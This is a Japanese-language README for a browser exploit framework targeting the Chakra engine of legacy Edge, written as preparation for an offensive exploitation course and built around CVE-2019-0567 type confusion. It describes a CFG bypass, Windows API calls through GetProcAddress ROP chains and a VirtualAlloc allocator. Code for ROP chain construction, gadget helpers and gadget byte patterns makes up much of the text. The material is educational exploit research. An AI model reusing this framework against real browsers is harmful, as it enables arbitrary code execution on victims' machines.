
Chakra (Edge)用ブラウザーエクスプロイトフレームワーク。OSEEの準備の一環として作成。デモバグ: CVE-2019-0567
このリポジトリには、EXP-401コースの準備として私が作成したブラウザエクスプロイトフレームワークが含まれています。このフレームワークは、2019年にEdgeがv8へ移行するまでその一部であったChakraエンジンを対象としています。
このフレームワークで使用されているデモ脆弱性は、CVE-2019-0567 Type Confusionです。

このフレームワークを使いやすくするために、将来のサンドボックスエスケープの実装を非常に簡単にするいくつかの便利な機能を作成しました。
このフレームワークは、Windows APIを高レベルで呼び出すことを可能にします。GetProcAddress ROPチェーンを使用して任意のAPIを解決し、最大4つのパラメータをサポートします。
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
私が使用したCFGバイパスは、leafInterpreterFrameテクニックです。いくつかのオブジェクトを辿ることで、スタックアドレスを漏洩させることができます。そこから関数ポインタを探し出し、それを上書きして実行を獲得できます。私のバージョンのChakraへの移植は少し厄介だったので、これについてここにブログを書きました。
友人から、JavaScriptランドに戻ることを非常に簡単にする素晴らしいテクニックを教えてもらいました。彼らはCFGバイパスを[1].map()呼び出しでラップするため、親関数内で実行を継続できます。コードがずっと綺麗に見えます。その例はここで確認できます。
多くのWindows APIは、パラメータとバッファがアライメントされていることを要求します。以前は、.dataセクションにパラメータを配置してWindows APIを呼び出していましたが、非常に面倒でした。最終的に、ROP内でVirtualAllocを呼び出す独自のメモリアロケータを作成し、他のオブジェクトがバッファからmallocでメモリを割り当てられるようにしました。さらに、このメモリアロケータは常にアライメントされたバッファを返します。
ROPチェーンの記述方法は次のとおりです:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
基盤となるROPガジェットは小さな関数として実装されています:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
このようにして、pop r9のようなより高レベルのアクションを実行するために、より複雑なガジェットチェーンを構築できます。都合の良いガジェットがなかったため、いくつかの組み合わせとして実装されています:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
フレームワークの移植性を高めるために、ROPパターンスキャナも用意されています。readプリミティブを使用して、必要なチェーンを構成するバイト列をスキャンします。
スキャナのパフォーマンスを大幅に向上させるグローバルキャッシュもあります。
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}